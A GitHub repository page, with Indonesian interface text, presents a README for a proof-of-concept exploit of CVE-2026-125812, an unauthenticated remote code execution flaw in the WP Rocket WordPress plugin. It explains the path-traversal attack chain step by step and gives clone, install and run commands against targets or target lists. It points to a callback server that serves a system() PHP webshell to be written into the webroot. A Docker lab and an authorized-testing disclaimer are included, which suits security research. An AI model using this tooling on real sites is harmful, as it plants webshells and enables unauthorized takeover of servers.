joshuavanderpoll/CVE-2026-125812
Tentang
WP Rocket < 3.24.2 | Unauthenticated Remote Code Execution (CVSS 9.8) | CVE-2026-125812
Keamanan dan privasiYang dapat Anda lakukan
- Fully unauthenticated : Uses WP Rocket's own nopriv AJAX endpoint
- Target fingerprinting : Server, PHP version, WordPress version, beacon status
- Multi-target : Supply a file with one URL per line via -targets
- Minimal PoC : Stripped-down version in CVE-2026-125812.min.py
Pertumbuhan bintang terukur
- dalam 24 jam
- 0
- dalam 7 hari
- Mengumpulkan riwayat
- dalam 15 hari
- Mengumpulkan riwayat
- dalam 1 bulan
- Mengumpulkan riwayat
Perubahan bersih pada periode yang tumpang tindih, bukan total harian. Pengukuran yang belum tersedia dibiarkan kosong. Bintang menunjukkan perhatian, bukan kualitas.
README.md
AsliCVE-2026-125812
WP Rocket < 3.24.2 | Unauthenticated Remote Code Execution
Description
Path traversal vulnerability in WP Rocket's font optimization pipeline allows unauthenticated attackers to write arbitrary files to the WordPress webroot. The attack chain requires only two HTTP requests and no authentication.
Affected: WP Rocket < 3.24.2
CVSS: 9.8 (Critical)
CWE: CWE-22 (Path Traversal)
How it works
- Harvest nonce : GET any public page, extract the beacon nonce from
rocket_beacon_data(identical for all anonymous visitors) - Inject font URL : POST to
wp_ajax_nopriv_rocket_beaconwith a craftedpreload_fontsURL that embeds//fonts.googleapis.com/css(bypassesis_google_font_url()) - Trigger write : On the next page visit, WP Rocket's font optimization pipeline fetches the CSS from the attacker's callback, parses the
url()inside it, downloads the "font" content, and writes it to disk via an unvalidated path that traverses out of the fonts cache directory
Features
- Fully unauthenticated : Uses WP Rocket's own
noprivAJAX endpoint - Target fingerprinting : Server, PHP version, WordPress version, beacon status
- Multi-target : Supply a file with one URL per line via
-targets - Minimal PoC : Stripped-down version in
CVE-2026-125812.min.py
Installation
Linux / macOS
git clone https://github.com/joshuavanderpoll/CVE-2026-125812.git
cd CVE-2026-125812
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Windows
git clone https://github.com/joshuavanderpoll/CVE-2026-125812.git
cd CVE-2026-125812
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
Usage
python3 CVE-2026-125812.py <target> <callback_url> [options]
| Option | Description |
|---|---|
-targets <file> |
File with target URLs (one per line) |
-useragent <string> |
Custom User-Agent header |
-timeout <seconds> |
Request timeout (default: 10) |
The callback server must handle two requests during the attack chain:
GET //fonts.googleapis.com/css2/x.woff2returns CSS with a path-traversalurl()GET /<traversal-path>returns the file content to write (e.g. a PHP shell)
See server/ for a ready-to-deploy callback server with nginx config and documentation.
Example
python3 CVE-2026-125812.py http://target.com https://your-callback.com
Quick check
Verify the vulnerability without setting up your own callback server, using a safe public endpoint that writes a confirmation string instead of a shell:
python3 CVE-2026-125812.py http://localhost:8080 https://this-is-for-public-research.hackindex.io
Note: WP Rocket caches font pipeline results after the first run. The exploit can only trigger once per page. Run
docker/reset.shto clear the cache between attempts.
Docker lab
A local Docker environment with WordPress 6.6, WP Rocket 3.24.1, and a callback server for safe testing.
cd docker/
docker compose up -d
This starts:
- WordPress on
http://localhost:8080with WP Rocket pre-installed, activated, and configured with font optimization enabled - Callback server on
https://callback(Docker internal), serving asystem()webshell payload
python3 CVE-2026-125812.py http://localhost:8080 https://callback
Reset between runs
bash docker/reset.sh
Truncates beacon tables, clears WP Rocket page and font caches, and removes the shell file.
Callback server
The server/ directory contains a complete callback server setup:
index.php: PHP callback handler (usessystem()for real exploitation)nginx.conf: Example nginx config withmerge_slashes off(required for the//fonts.googleapis.comURL to reach PHP intact)README.md: Full setup documentation
References
Disclaimer
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse. See SECURITY.md.
Jelajahi proyek terkait
Memuat…